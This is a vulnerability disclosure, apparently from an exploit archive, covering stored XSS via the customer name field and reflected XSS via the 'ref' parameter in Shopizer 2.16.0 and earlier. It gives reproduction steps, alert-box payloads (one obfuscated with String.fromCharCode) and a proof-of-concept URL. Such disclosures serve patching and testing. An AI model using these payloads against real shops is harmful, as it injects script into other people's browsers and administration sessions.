Shopizer 2.16.0 Cross Site Scripting

`# Exploit Title: Shopizer <= 2.16.0 - Multiple Cross-Site Scripting (XSS)  
# Date: 23-05-2021  
# Exploit Author: Marek Toth   
# Vendor Homepage: https://www.shopizer.com  
# Software Link: https://github.com/shopizer-ecommerce/shopizer  
# Version: <= 2.16.0  
  
Stored XSS - 'customer_name' Administration   
  
Description:  
A stored cross-site scripting (XSS) vulnerability in Shopizer before version 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration and saved in the database. The code is executed for any user of store administration when information is fetched from backend.  
  
Steps to reproduce:  
1. Open "http://example.com/admin/" and login to the administration  
2. Open "Customers" (http://example.com/admin/customers/list.html) and click on the "Details" button  
3. Change customer name to <script>alert(1)</script> and save it  
4. Open "Customers" -> XSS payload will trigger  
  
  
Reflected XSS - 'ref' parameter   
  
Description:  
A reflected cross-site scripting (XSS) vulnerability in Shopizer before version 2.17.0 allows remote attackers to inject arbitrary web script or HTML via the 'ref' parameter.  
  
Payloads:   
'+alert(1)+'  
'+eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))+'  
  
PoC:  
http://example.com/shop/product/vintage-bag-with-leather-bands.html/ref='+alert(1)+'  
`